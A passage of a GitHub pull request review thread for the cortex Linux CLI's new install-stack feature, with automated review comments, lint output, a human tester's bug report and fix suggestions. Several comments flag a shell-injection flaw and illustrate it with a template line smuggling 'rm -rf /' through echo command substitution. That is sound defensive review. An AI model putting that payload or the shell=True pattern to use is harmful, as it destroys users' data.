elif args.command == "install": + if args.stack and args.software: + print("Error: cannot use both software argument and --stack; choose one.", file=sys.stderr) + return 2 + if not args.stack and not args.software: + install_parser.print_help() + return 1 if args.stack: return cli.install( "", execute=args.execute, dry_run=args.dry_run, stack=args.stack ) else: - # software is guaranteed to be set due to mutually_exclusive_group(required=True) return cli.install( args.software, execute=args.execute, dry_run=args.dry_run, parallel=args.parallel, )🤖 Prompt for AI Agents
In cortex/cli.py around lines 1743-1752, the code adds a positional argument 'software' to a mutually exclusive group which raises ValueError because argparse mutually exclusive groups only accept optional flags; remove 'software' from the group and register it as a normal positional on install_parser, keep --stack as a normal optional argument, and add runtime validation in the install handler (around lines 2064-2076) to enforce exactly one of software or --stack is provided (return clear error if both or neither) before proceeding with the install.
🧹 Nitpick comments (2)
docs/STACKS.md (2)
69-70: Optional: Format URLs for consistency.The bare URLs trigger a markdown linting warning. Consider wrapping them in angle brackets or backticks for consistency:
-**Access:** -- Apache: http://localhost -- phpMyAdmin: http://localhost/phpmyadmin +**Access:** +- Apache: `http://localhost` +- phpMyAdmin: `http://localhost/phpmyadmin`This is a minor formatting improvement.
321-346: Optional: Add language specifiers to code blocks.The fenced code blocks at lines 321 and 346 should have language specifiers to satisfy markdown linting rules:
-Output: -``` +Output: +```text 📋 Available Stacks: ...And:
-Output: -``` +Output: +```text 📦 Stack: LAMP Stack ...
📜 Review details
Configuration used: defaults
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (2)
cortex/cli.pydocs/STACKS.md
🧰 Additional context used
📓 Path-based instructions (1)
**/*.py
📄 CodeRabbit inference engine (AGENTS.md)
**/*.py: Follow PEP 8 style guide
Type hints required in Python code
Docstrings required for all public APIs
Files:
cortex/cli.py
🧠 Learnings (2)
📚 Learning: 2025-12-11T12:03:24.071Z
Learnt from: CR
Repo: cortexlinux/cortex PR: 0
File: AGENTS.md:0-0
Timestamp: 2025-12-11T12:03:24.071Z
Learning: Applies to **/*install*.py : No silent sudo execution - require explicit user confirmation
Applied to files:
cortex/cli.py
📚 Learning: 2025-12-11T12:03:24.071Z
Learnt from: CR
Repo: cortexlinux/cortex PR: 0
File: AGENTS.md:0-0
Timestamp: 2025-12-11T12:03:24.071Z
Learning: Applies to **/*install*.py : Dry-run by default for all installations in command execution
Applied to files:
cortex/cli.py
🧬 Code graph analysis (1)
cortex/cli.py (6)
cortex/templates.py (12)
InstallationStep(47-54)Template(58-155)TemplateFormat(26-30)TemplateManager(270-591)load_template(310-330)list_templates(368-419)check_hardware_compatibility(421-499)generate_commands(501-525)HardwareRequirements(34-43)save_template(332-366)import_template(527-562)export_template(564-591)cortex/branding.py (1)
cx_print(49-69)cortex/stack_manager.py (3)
StackManager(18-110)find_stack(52-57)describe_stack(80-110)cortex/first_run_wizard.py (2)
_print_error(746-748)run(169-228)cortex/validators.py (1)
validate_install_request(117-144)cortex/installation_history.py (5)
InstallationHistory(73-628)_extract_packages_from_commands(214-246)record_installation(254-312)update_installation(314-363)rollback(457-563)
🪛 GitHub Actions: CI
cortex/cli.py
[error] 951-951: ruff (F541): f-string without any placeholders. cortex/cli.py:951. Command: 'ruff check . --output-format=github'.
🪛 GitHub Check: lint
cortex/cli.py
[failure] 951-951: Ruff (F541)
cortex/cli.py:951:32: F541 f-string without any placeholders
🪛 GitHub Check: Lint
cortex/cli.py
[failure] 951-951: Ruff (F541)
cortex/cli.py:951:32: F541 f-string without any placeholders
🪛 markdownlint-cli2 (0.18.1)
docs/STACKS.md
69-69: Bare URL used
(MD034, no-bare-urls)
70-70: Bare URL used
(MD034, no-bare-urls)
321-321: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
346-346: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (3)
- GitHub Check: test (3.10)
- GitHub Check: test (3.11)
- GitHub Check: test (3.12)
🔇 Additional comments (3)
cortex/cli.py (3)
1585-1606: Well-structured help text for new stack features.The updated help text clearly documents the new stack-based installation commands and provides useful examples. The distinction between natural language installation and pre-configured stacks is clear.
2109-2138: Good UX for missing stack subcommand.Lines 2123-2138 provide helpful guidance when users run
cortex stackwithout a subcommand, listing available commands and usage examples instead of just showing an error. This is good user experience.
218-239: Two stack systems with namespace conflicts - user confusion risk.The
cortex stackcommand (lines 188-207) usesStackManagerreading fromstacks.json(containing:data,devops,ml,ml-cpu,webdev), whilecortex install --stackusesTemplateManagerreading fromcortex/templates/(containing:devops.yaml,lamp.yaml,mean.yaml,mern.yaml,ml-ai.yaml).Lines 227 and 238 direct users to use
cortex install --stack <name>, but theStackManagersystem andTemplateManagersystem have different stack definitions. For example,devopsexists in both—cortex stack listshows the stacks.json version, butcortex install --stack devopsloadstemplates/devops.yaml. This creates potential confusion about which stack is being referenced.Recommend:
- Add validation to detect and warn on stack name collisions between systems
- Update help text to clarify which stacks are available via each command path
- Consider if
cortex stack installshould also check TemplateManager to prevent users from thinking listed stacks are installable viacortex install --stack
There was a problem hiding this comment.
Actionable comments posted: 1
♻️ Duplicate comments (4)
cortex/cli.py (4)
953-953: Remove unnecessary f-string prefix.Line 953 uses an f-string without any placeholders, triggering linting errors and pipeline failures. This was previously flagged and marked as resolved in commit references, but the issue remains in the current code.
🔎 Proposed fix
- gpu_info = f"Required" + gpu_info = "Required"
1001-1001: Remove redundant local import.Line 1001 imports
HardwareRequirementsandTemplateinside the function, but these are already imported at module level (line 20). This redundant import was previously flagged and should be removed.🔎 Proposed fix
- # Create stack template - from cortex.templates import HardwareRequirements, Template - template = Template(
1745-1754: CRITICAL: Positional argument in mutually exclusive group causes CLI startup failure.Lines 1745-1754 attempt to add a positional argument (
'software') to a mutually exclusive group with an optional argument ('--stack'). This is not supported by argparse and will raiseValueError: "mutually exclusive arguments must be optional"when the CLI starts, preventing all cortex commands from running.From the Python argparse documentation: mutually exclusive groups only accept optional arguments (those prefixed with
-or--). Positional arguments are always treated as required internally, which conflicts with mutual exclusivity.Required fix: Move the positional argument outside the group and validate exclusivity manually in the handler:
🔎 Recommended fix
- install_group = install_parser.add_mutually_exclusive_group(required=True) - install_group.add_argument( + install_parser.add_argument( "software", type=str, nargs="?", help="Software to install (natural language)" ) - install_group.add_argument( + install_parser.add_argument( "--stack", type=str, metavar="NAME", help="Install from a pre-configured stack (e.g., lamp, mean, mern, ml-ai, devops)", )Then add validation in the install handler (around lines 2067-2076):
elif args.command == "install": + if args.stack and args.software: + cli._print_error("Cannot use both a software argument and --stack; choose one.") + return 2 + if not args.stack and not args.software: + cli._print_error("Please provide either a software name or --stack option.") + install_parser.print_help() + return 1 if args.stack: return cli.install("", execute=args.execute, dry_run=args.dry_run, stack=args.stack) else: - # software is guaranteed to be set due to mutually_exclusive_group(required=True) return cli.install( args.software, execute=args.execute, dry_run=args.dry_run, parallel=args.parallel, )
834-838: CRITICAL: Shell injection vulnerability in post-install command execution.Line 838 executes post-install commands using
subprocess.run(cmd, shell=True), which allows arbitrary shell command execution. Even though templates are validated to only allowechocommands, the validation permits command substitution patterns like$(...), enabling shell injection attacks.Example malicious template:
post_install: - echo $(rm -rf /)This CRITICAL issue was previously flagged and remains unaddressed.
Required fix: Parse and print echo messages directly in Python without invoking a shell:
🔎 Recommended fix
# Run post-install commands once if template.post_install: self._print_status("[*]", "Running post-installation steps...") print("\n[*] Post-installation information:") for cmd in template.post_install: - subprocess.run(cmd, shell=True) + # Parse and print echo messages safely + if cmd.strip().startswith('echo '): + message = cmd.strip()[5:] # Remove 'echo ' prefix + # Strip quotes if present + message = message.strip('\'"') + print(f" {message}") + else: + print(f" [WARNING] Skipped non-echo command: {cmd[:50]}")Additionally, update
TemplateValidatorintemplates.pyto block command substitution patterns entirely.Based on learnings, no silent sudo execution should occur and dry-run should be the default for installations.
🧹 Nitpick comments (1)
cortex/cli.py (1)
351-362: Hardcoded workaround for specific package combination is fragile.Lines 351-362 contain a hardcoded string match for
"pytorch-cpu jupyter numpy pandas"and replace it with a specific pip install command. This approach:
- Only works for this exact combination (case-sensitive, space-normalized)
- Will break if user adds/removes packages or changes order
- Bypasses the LLM's ability to handle PyTorch installation
- Contains a hardcoded PyPI index URL that may become stale
Consider removing this workaround and instead:
- Update the LLM prompt/context to handle PyTorch CPU-only installations correctly, or
- If this is a common failure pattern, add it to the stack system (e.g., an
ml-cpustack) rather than special-casing in the install flow
📜 Review details
Configuration used: defaults
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (1)
cortex/cli.py
🧰 Additional context used
📓 Path-based instructions (1)
**/*.py
📄 CodeRabbit inference engine (AGENTS.md)
**/*.py: Follow PEP 8 style guide
Type hints required in Python code
Docstrings required for all public APIs
Files:
cortex/cli.py
🧠 Learnings (2)
📚 Learning: 2025-12-11T12:03:24.071Z
Learnt from: CR
Repo: cortexlinux/cortex PR: 0
File: AGENTS.md:0-0
Timestamp: 2025-12-11T12:03:24.071Z
Learning: Applies to **/*install*.py : No silent sudo execution - require explicit user confirmation
Applied to files:
cortex/cli.py
📚 Learning: 2025-12-11T12:03:24.071Z
Learnt from: CR
Repo: cortexlinux/cortex PR: 0
File: AGENTS.md:0-0
Timestamp: 2025-12-11T12:03:24.071Z
Learning: Applies to **/*install*.py : Dry-run by default for all installations in command execution
Applied to files:
cortex/cli.py
🧬 Code graph analysis (1)
cortex/cli.py (3)
cortex/templates.py (11)
InstallationStep(47-54)Template(58-155)TemplateFormat(26-30)TemplateManager(270-591)load_template(310-330)list_templates(368-419)check_hardware_compatibility(421-499)generate_commands(501-525)HardwareRequirements(34-43)save_template(332-366)export_template(564-591)cortex/stack_manager.py (3)
StackManager(18-110)find_stack(52-57)describe_stack(80-110)cortex/installation_history.py (3)
InstallationHistory(73-628)_extract_packages_from_commands(214-246)rollback(457-563)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (4)
- GitHub Check: Build Package
- GitHub Check: test (3.10)
- GitHub Check: test (3.12)
- GitHub Check: test (3.11)
There was a problem hiding this comment.
Actionable comments posted: 0
♻️ Duplicate comments (3)
cortex/cli.py (3)
1745-1754: CRITICAL: Positional argument in mutually exclusive group will causeValueErroron CLI startup.The install parser attempts to add a positional argument
'software'to a mutually exclusive group (line 1746-1748). Inargparse, mutually exclusive groups only support optional arguments (those prefixed with--or-). Positional arguments, even withnargs='?', are treated as required internally, which conflicts with the mutual exclusivity constraint.This will raise
ValueError: "mutually exclusive arguments must be optional"when the parser is constructed, preventing the CLI from starting.Fix: Move the positional argument outside the group and add manual validation in the handler:
- install_group = install_parser.add_mutually_exclusive_group(required=True) - install_group.add_argument( - "software", type=str, nargs="?", help="Software to install (natural language)" - ) - install_group.add_argument( + install_parser.add_argument( + "software", type=str, nargs="?", help="Software to install (natural language)" + ) + install_parser.add_argument( "--stack", type=str, metavar="NAME", help="Install from a pre-configured stack (e.g., lamp, mean, mern, ml-ai, devops)", )Then add validation in the handler (lines 2066-2075):
elif args.command == "install": + if args.stack and args.software: + print("Error: cannot use both a software argument and --stack; choose one.", file=sys.stderr) + return 2 + if not args.stack and not args.software: + install_parser.print_help() + return 1 if args.stack: return cli.install("", execute=args.execute, dry_run=args.dry_run, stack=args.stack) else: return cli.install( args.software, execute=args.execute, dry_run=args.dry_run, parallel=args.parallel, )
1001-1001: Remove redundant local import.Line 1001 imports
HardwareRequirementsandTemplateinside the function, but these are already imported at module level (line 20:from cortex.templates import ... Template ...). Remove this redundant import:packages.append(pkg) # Create stack template - from cortex.templates import HardwareRequirements, Template - template = Template( name=name, description=description, version=version, author=author, packages=packages, )
HardwareRequirementsandTemplateare available from the module-level import.
838-838: CRITICAL: Shell injection vulnerability in post-install command execution.Line 838 executes post-install commands with
shell=True, enabling command injection. WhileTemplateValidatorrestricts commands toechoonly, it explicitly allows command substitution patterns$(...)(per templates.py lines 191-196). A malicious template can execute arbitrary code viaecho $(rm -rf /)since the shell evaluates substitutions before echo receives them.Fix: Parse and print echo messages directly in Python without invoking a shell:
# Run post-install commands once if template.post_install: self._print_status("[*]", "Running post-installation steps...") print("\n[*] Post-installation information:") for cmd in template.post_install: - subprocess.run(cmd, shell=True) + # Parse and print echo messages safely + if cmd.strip().startswith('echo '): + message = cmd.strip()[5:].strip('\'"') # Remove 'echo ' and quotes + print(f" {message}") + else: + print(f" [WARNING] Skipped non-echo command: {cmd[:50]}")This eliminates subprocess execution entirely for informational messages.
Based on learnings, no silent sudo execution should occur. Additionally, consider removing the special-case allowance for echo with command substitution in
TemplateValidatorto prevent this entire class of vulnerabilities.
🧹 Nitpick comments (1)
cortex/cli.py (1)
351-362: Consider removing hardcoded PyTorch CPU workaround.Lines 351-362 contain a hardcoded special case for the exact string
"pytorch-cpu jupyter numpy pandas"to work around LLM-generated outdated PyTorch installation commands. While this addresses a specific issue, it's fragile and doesn't scale:
- Only handles this exact package combination
- Doesn't help with other PyTorch CPU variations
- Requires manual maintenance as PyTorch versions evolve
- Couples CLI logic to specific package installation details
Alternatives:
- Improve the LLM prompt to generate correct PyTorch CPU install commands
- Add a general package alias system in configuration
- Create a dedicated PyTorch CPU stack instead of special-casing in install logic
- Document this as a known limitation and let users use the
--stack ml-cpuif availableThis is not critical but makes the codebase more maintainable.
📜 Review details
Configuration used: defaults
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (1)
cortex/cli.py
🧰 Additional context used
📓 Path-based instructions (1)
**/*.py
📄 CodeRabbit inference engine (AGENTS.md)
**/*.py: Follow PEP 8 style guide
Type hints required in Python code
Docstrings required for all public APIs
Files:
cortex/cli.py
🧠 Learnings (2)
📚 Learning: 2025-12-11T12:03:24.071Z
Learnt from: CR
Repo: cortexlinux/cortex PR: 0
File: AGENTS.md:0-0
Timestamp: 2025-12-11T12:03:24.071Z
Learning: Applies to **/*install*.py : No silent sudo execution - require explicit user confirmation
Applied to files:
cortex/cli.py
📚 Learning: 2025-12-11T12:03:24.071Z
Learnt from: CR
Repo: cortexlinux/cortex PR: 0
File: AGENTS.md:0-0
Timestamp: 2025-12-11T12:03:24.071Z
Learning: Applies to **/*install*.py : Dry-run by default for all installations in command execution
Applied to files:
cortex/cli.py
🧬 Code graph analysis (1)
cortex/cli.py (4)
cortex/templates.py (3)
InstallationStep(47-54)Template(58-155)HardwareRequirements(34-43)cortex/stack_manager.py (3)
StackManager(18-110)find_stack(52-57)describe_stack(80-110)cortex/validators.py (1)
validate_install_request(117-144)cortex/installation_history.py (4)
InstallationHistory(73-628)record_installation(254-312)update_installation(314-363)rollback(457-563)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (4)
- GitHub Check: Test (Python 3.10)
- GitHub Check: test (3.11)
- GitHub Check: test (3.10)
- GitHub Check: test (3.12)
|
Hi @Suyashd999 @ShreeJejurikar, I've addressed all the feedback from your review: ✅ Changes Made
✅ TestsAll 22 template system tests passing. Ready for re-review! |
ShreeJejurikar
left a comment
ShreeJejurikar
left a comment
There was a problem hiding this comment.
PR #201 Review - Installation Templates/Stacks System
Review Summary
Thank you for this comprehensive PR! I've thoroughly tested the stack system implementation. The core concepts are solid, but there are critical bugs that must be fixed before this can be merged. Testing was conducted on two independent systems to confirm issues are code-related, not environment-specific.
✅ Testing Results - What Works
I've tested all the functionality claimed in the PR:
Stack Management Commands
- ✅
cortex stack list- Lists all stacks correctly - ✅
cortex stack create <name>- Interactive creation works well - ✅
cortex stack export <name> <file>- Export working for user-created stacks
Installation Preview
- ✅
cortex install --stack <name> --dry-run- Shows plan without executing - ✅ Command generation from stack templates works
Hardware Compatibility ⭐
Tested with a stack requiring impossible hardware specs:
$ cortex install --stack impossible-stack --dry-run
[WARNING] Hardware Compatibility Warnings:
- Insufficient RAM: 27912MB available, 128000MB required
- Insufficient CPU cores: 6 available, 32 required
- NVIDIA GPU required but not found
- CUDA 12.0 required but not found✅ Hardware compatibility checking works perfectly!
Built-in Stacks
- ✅ LAMP stack
- ✅ MEAN stack
- ✅ MERN stack
- ✅ ML/AI stack
- ✅ DevOps stack
All stacks load and validate correctly in dry-run mode.
🔴 CRITICAL BUGS - Must Fix Before Merge
1. CRITICAL: Stack Installation Completely Broken - Missing sudo Prefix
Severity: 🔴 CRITICAL - Makes the entire stack feature non-functional
Issue:
Stack installation generates commands without sudo prefix, causing all installations to fail with permission errors. This is a regression from the existing cortex stack functionality which worked correctly.
Reproduction (Tested on 2 independent systems):
System 1:
$ cortex install --stack mern --execute
Generated commands:
1. apt update # ❌ Missing sudo
2. curl -fsSL ... # ❌ Missing sudo
3. apt install -y nodejs # ❌ Missing sudo
4. systemctl start mongod # ❌ Missing sudo
Executing commands...
CX ✗ Error: Installation failed at step 1
Error:
E: Could not open lock file /var/lib/apt/lists/lock - open (13: Permission denied)
E: Unable to lock directory /var/lib/apt/lists/System 2 (Independent verification):
jay@jay-HP-Laptop-15s-fq5xxx:~/Intership/cortex$ cortex install --stack mern --execute
CX ✗ Error: Installation failed at step 1
Error:
E: Could not open lock file /var/lib/apt/lists/lock - open (13: Permission denied)Comparison with working code:
Old cortex stack (main branch) - WORKS:
$ cortex stack data
Generated commands:
1. sudo apt update # ✅ Has sudo
2. sudo apt install -y ... # ✅ Has sudo
Result: ✅ Successful installationRegular install (still works) - WORKS:
$ cortex install "htop" --execute
Generated commands:
1. sudo apt update # ✅ Has sudo
2. sudo apt install -y htop # ✅ Has sudo
Result: ✅ Successful installationNew stack system (this PR) - BROKEN:
$ cortex install --stack mern --execute
Generated commands:
1. apt update # ❌ Missing sudo
2. apt install -y nodejs # ❌ Missing sudo
Result: ❌ Permission denied - Installation failsRoot Cause:
The new template-based stack system doesn't apply the same sudo-handling logic that regular cortex install and the old cortex stack command use. Commands marked with requires_root: true in the template steps are not being prefixed with sudo.
Expected Behavior:
All commands requiring root privileges should automatically be prefixed with sudo (or executed with elevated privileges), just like the regular install and old stack commands do.
This bug makes the entire stack installation feature completely unusable.
🟡 Low Priority Bugs
2. Cannot Import Exported Built-in Stacks
Severity: 🟡 Low (edge case, but still a bug)
Issue:
Built-in stacks can be exported but fail to re-import with validation error.
Reproduction:
$ cortex stack export lamp /tmp/lamp.yaml
CX ✓ Stack 'lamp' exported successfully!
$ cortex stack import /tmp/lamp.yaml --name lamp-copy
CX ✗ Error: Failed to import stack: Failed to import template: 'dict' object has no attribute 'strip'However, user-created stacks work fine:
$ cortex stack create test-stack
$ cortex stack export test-stack /tmp/test.yaml
$ cortex stack import /tmp/test.yaml --name test-copy
CX ✓ Stack 'test-copy' imported successfully! # ✅ WorksRoot Cause:
The import validation logic appears to have issues with the steps field structure used in built-in templates. User templates created via CLI don't have steps and import successfully.
Impact:
While this is an edge case (why would anyone export/re-import a built-in stack?), it suggests the import validation is fragile and may fail on other legitimate use cases.
🔴 Required Changes
1. FIX CRITICAL: Add sudo to stack installation commands
The stack installation must use the same privilege escalation logic as regular install:
# Commands marked with requires_root: true in templates
# Must be executed with sudo prefix, similar to:
if step.requires_root:
command = f"sudo {step.command}"Test that this works:
$ cortex install --stack lamp --execute
Generated commands:
1. sudo apt update # ✅ Now has sudo
2. sudo apt install -y apache2 # ✅ Now has sudo2. FIX: Resolve import validation error
Fix the 'dict' object has no attribute 'strip' error when importing exported stacks. Ensure the validation handles all valid template formats consistently.
🔍 Security Issue - Unable to Test
Shell Injection Vulnerability (from CodeRabbit review)
CodeRabbit flagged a potential shell injection vulnerability in post_install command execution with shell=True. However, I cannot verify this because:
- The import bug prevents importing custom templates with
post_installcommands - User-created templates don't include
post_installin the CLI creation flow - Manual editing of template files should trigger validation, but cannot test due to import issues
Recommendation: Please review CodeRabbit's security findings carefully and address the shell=True execution of post_install commands, even though I couldn't reproduce the issue during testing.
📝 Code Quality
Positive aspects:
- ✅ Clean, well-structured code
- ✅ Proper error handling (where it works)
- ✅ Good validation (security checks for post_install commands)
- ✅ Type hints used appropriately
- ✅ Hardware profiler integration works excellently
Issues:
- ❌ Critical regression in sudo handling
- ❌ Import validation too fragile
💡 Recommendations for Next Steps
Must Fix (Blocking):
- Add sudo prefix to commands requiring root in stack installation
- Fix import validation to handle all template formats
- Test actual installation with
--executeflag (not just dry-run) - Review security concerns raised by CodeRabbit about shell injection
Test Coverage:
- ✅ All stack management commands (list, create, export, import)
- ✅ Hardware compatibility checking
- ✅ Dry-run functionality
- ✅ Actual installation with
--execute - ✅ Comparison with main branch behavior
- ✅ Cross-verification on multiple systems
Summary
Status:
Core Functionality Assessment:
- 🟢 Concept: Excellent - Template-based stacks are a great addition
- 🟢 Hardware Checking: Works perfectly
- 🟢 Stack Management: Works well
- 🔴 Installation: Completely broken (missing sudo)
Recommendation: Fix the sudo handling bug (#1) and import validation bug (#2), then this will be ready for re-review. The implementation quality is good once these critical issues are resolved.
Great work on the overall implementation! The template system architecture is solid - it just needs these bugs fixed to be production-ready.
Tested by: @ShreeJejurikar
Review Date: December 27, 2025
|
Reviewing on it - effiti |
Anshgrover23
left a comment
Anshgrover23
left a comment
There was a problem hiding this comment.
@aliraza556 Kindly Resolve Conflicts. Also, add your information to CLA, following this PR as a reference #401 by opening a new PR.
CLA Verification FailedThe following contributors have not signed the Contributor License Agreement:
How to Sign
This check runs automatically. Maintainers can update |
There was a problem hiding this comment.
Actionable comments posted: 3
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
cortex/cli.py (1)
13-13: CRITICAL: Remove duplicateInstallationStepimport causing pipeline failure.
InstallationStepis imported twice—once fromcortex.coordinator(line 13) and again fromcortex.templates(line 27). This causes the F811 ruff error and prevents the pipeline from passing.Determine which module should provide
InstallationStep:
- If both modules define the same class, keep only one import and remove the duplicate
- If they're different classes, rename one to avoid the conflict (e.g.,
TemplateInstallationStep)Based on usage in the code, it appears
InstallationStepfromcortex.coordinatoris used throughout (e.g., lines 722-729, 1105-1112), so remove it from line 27:-from cortex.templates import InstallationStep, Template, TemplateFormat, TemplateManager +from cortex.templates import Template, TemplateFormat, TemplateManager🧰 Tools
🪛 GitHub Check: Lint
[failure] 27-27: Ruff (F811)
cortex/cli.py:27:30: F811 Redefinition of unusedInstallationStepfrom line 13Also applies to: 27-27
🤖 Fix all issues with AI Agents
In @cortex/cli.py:
- Around line 2721-2724: The elif branches that call cli.check_pref(...) and
cli.edit_pref(...) are unreachable because no subparsers are defined for
"check-pref" or "edit-pref"; either remove those two handlers from the
args.command dispatch (remove the calls to cli.check_pref and cli.edit_pref) or
add proper subparser definitions using the existing subparsers object (e.g.,
create "check-pref" and "edit-pref" via subparsers.add_parser and add --key,
action, --value args to match the cli.check_pref and cli.edit_pref signatures);
since preference-related modules are currently missing, prefer removing these
handlers until the preferences module and subparsers are implemented.
- Around line 28-32: The import of PreferencesManager, format_preference_value,
and print_all_preferences from cortex.user_preferences is invalid and will raise
ModuleNotFoundError; to fix, either add a new module cortex/user_preferences.py
exporting PreferencesManager class and the two functions with the expected
signatures used by check_pref and edit_pref, or remove the preference-related
functionality by deleting the import and any references to PreferencesManager,
format_preference_value, and print_all_preferences inside the check_pref and
edit_pref methods so the CLI no longer relies on the missing module.
- Around line 1139-1144: The post-install loop still calls subprocess.run(cmd,
shell=True) which allows shell injection; instead, in the block where you handle
template.post_install (referencing template.post_install and the loop that calls
subprocess.run), reject any commands that are not plain echo statements and, for
allowed commands, parse them in Python and print the message rather than
invoking a shell: detect commands beginning with "echo" (allow optional
quoting), extract the echoed text safely (handle surrounding single/double
quotes and escaped characters) and call self._print_status/print with that
extracted string; remove subprocess.run entirely for these informational steps
and log an error or skip any commands that don’t match the allowed echo pattern.
🧹 Nitpick comments (2)
cortex/cli.py (2)
1307-1307: Remove redundant local import.
TemplateandHardwareRequirementsare imported locally insidestack_create, but they're already available from the module-level import at line 27:from cortex.templates import Template, TemplateFormat, TemplateManagerRemove the redundant import:
# Create stack template - from cortex.templates import HardwareRequirements, Template - template = Template( name=name, description=description,Note:
HardwareRequirementsis not in the line 27 import, so if it's needed, add it to the module-level import instead.Based on past review comments, similar redundant imports were flagged previously.
659-670: Consider making the PyTorch CPU special-case handling more robust.Lines 659-670 implement a hardcoded string match for "pytorch-cpu jupyter numpy pandas" to work around LLM-generated outdated commands. This is fragile because:
- String matching is exact—minor variations (different order, extra spaces) won't match
- Hardcoded replacement could become outdated as PyTorch evolves
- No logging or user notification that the request was rewritten
Suggestion: Either:
Log when this special case is triggered so users understand what happened:
if normalized == "pytorch-cpu jupyter numpy pandas": self._debug("Using PyTorch CPU-optimized install command") software = "pip3 install ..."Or consider a more flexible pattern-matching approach if this will grow to handle other special cases:
SPECIAL_CASES = { "pytorch-cpu jupyter numpy pandas": "pip3 install torch torchvision ...", # Future special cases here } for pattern, replacement in SPECIAL_CASES.items(): if normalized == pattern: self._debug(f"Applied special-case handling for: {pattern}") software = replacement break
📜 Review details
Configuration used: defaults
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (1)
cortex/cli.py
🧰 Additional context used
📓 Path-based instructions (1)
**/*.py
📄 CodeRabbit inference engine (AGENTS.md)
**/*.py: Follow PEP 8 style guide
Type hints required in Python code
Docstrings required for all public APIs
Files:
cortex/cli.py
🧠 Learnings (2)
📚 Learning: 2025-12-11T12:03:24.071Z
Learnt from: CR
Repo: cortexlinux/cortex PR: 0
File: AGENTS.md:0-0
Timestamp: 2025-12-11T12:03:24.071Z
Learning: Applies to **/*install*.py : No silent sudo execution - require explicit user confirmation
Applied to files:
cortex/cli.py
📚 Learning: 2025-12-11T12:03:24.071Z
Learnt from: CR
Repo: cortexlinux/cortex PR: 0
File: AGENTS.md:0-0
Timestamp: 2025-12-11T12:03:24.071Z
Learning: Applies to **/*install*.py : Dry-run by default for all installations in command execution
Applied to files:
cortex/cli.py
🪛 GitHub Actions: CI
cortex/cli.py
[error] 27-27: ruff check failed. F811 Redefinition of unused InstallationStep from line 13.
🪛 GitHub Actions: Cortex Automation
cortex/cli.py
[error] 28-28: ModuleNotFoundError: No module named 'cortex.user_preferences' during import in cortex/cli.py.
🪛 GitHub Check: lint
cortex/cli.py
[failure] 27-27: Ruff (F811)
cortex/cli.py:27:30: F811 Redefinition of unused InstallationStep from line 13
🪛 GitHub Check: Lint
cortex/cli.py
[failure] 27-27: Ruff (F811)
cortex/cli.py:27:30: F811 Redefinition of unused InstallationStep from line 13
🔇 Additional comments (2)
cortex/cli.py (2)
1033-1056: Hardware compatibility check properly handles non-interactive environments.The hardware compatibility logic correctly:
- Warns about incompatibilities upfront
- Prompts for confirmation when requirements aren't met
- Gracefully handles non-interactive environments with clear error messages
- Provides actionable guidance (--dry-run flag suggestion)
This addresses the concerns raised in past reviews about unclear behavior in non-interactive mode.
2117-2140: Excellent help text and examples for the new stack system.The updated help output clearly explains:
- Both natural language and stack-based installation options
- Available commands with descriptions
- Practical quick-start examples
- Links to documentation
This provides a great user experience for discovering and using the new stack features.
There was a problem hiding this comment.
Actionable comments posted: 5
🤖 Fix all issues with AI Agents
In @cortex/cli.py:
- Around line 27-32: The imports at the top of cortex/cli.py are causing runtime
failures: remove InstallationStep from the templates import so you don't shadow
the existing InstallationStep imported from cortex.coordinator, and either add a
real cortex.user_preferences module exporting PreferencesManager,
format_preference_value, and print_all_preferences or remove these imports and
stub out the CLI methods that call them (e.g., check_pref and edit_pref) until
the module exists; ensure references to InstallationStep in progress callbacks
still resolve to the coordinator's InstallationStep and update import line "from
cortex.templates import ..." accordingly.
In @cortex/templates.py:
- Around line 202-208: The current check in the post-install command validation
(inspecting cmd_stripped in cortex/templates.py) incorrectly allows command
substitution for commands starting with "echo", which still permits arbitrary
execution (e.g., echo $(...)). Change the validation to reject any command
containing command substitution patterns ("$(" or "`") unconditionally by
appending an error via the same errors.append(...) path (e.g., post_install[{i}]
message), and update built-in templates to replace dynamic echo substitutions
with static strings (e.g., "echo Node.js installed. Check version with: node
--version") so no legitimate template relies on $(...) or backticks.
🧹 Nitpick comments (2)
cortex/templates.py (2)
19-21: Consider removingsys.pathmanipulation.The
sys.path.insertis a workaround that can cause import inconsistencies and is generally discouraged in production code. Since this module is part of thecortexpackage, relative imports should work without path manipulation.Suggested fix
-# Add parent directory to path for imports -sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) - from cortex.hwprofiler import HardwareProfiler from cortex.packages import PackageManager, PackageManagerTypeEnsure the package is properly installed (e.g., via
pip install -e .) so thatcortexis on the Python path.
400-402: Bareexceptwithpasssilently hides parsing errors.If a built-in template file is malformed, this will silently skip it without any indication to the user. Consider logging the error at debug level to aid troubleshooting.
Suggested improvement
except Exception: - # Ignore malformed built-ins but continue listing others - pass + # Log malformed built-ins but continue listing others + import logging + logging.debug(f"Failed to load built-in template {template_file}: skipped")Or use a logger that's already configured for the module.
📜 Review details
Configuration used: defaults
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (2)
cortex/cli.pycortex/templates.py
🧰 Additional context used
📓 Path-based instructions (1)
**/*.py
📄 CodeRabbit inference engine (AGENTS.md)
**/*.py: Follow PEP 8 style guide
Type hints required in Python code
Docstrings required for all public APIs
Files:
cortex/templates.pycortex/cli.py
🧠 Learnings (3)
📚 Learning: 2025-12-11T12:03:24.071Z
Learnt from: CR
Repo: cortexlinux/cortex PR: 0
File: AGENTS.md:0-0
Timestamp: 2025-12-11T12:03:24.071Z
Learning: Applies to **/*install*.py : No silent sudo execution - require explicit user confirmation
Applied to files:
cortex/cli.py
📚 Learning: 2026-01-05T20:26:18.626Z
Learnt from: pavanimanchala53
Repo: cortexlinux/cortex PR: 439
File: cortex/cli.py:62-73
Timestamp: 2026-01-05T20:26:18.626Z
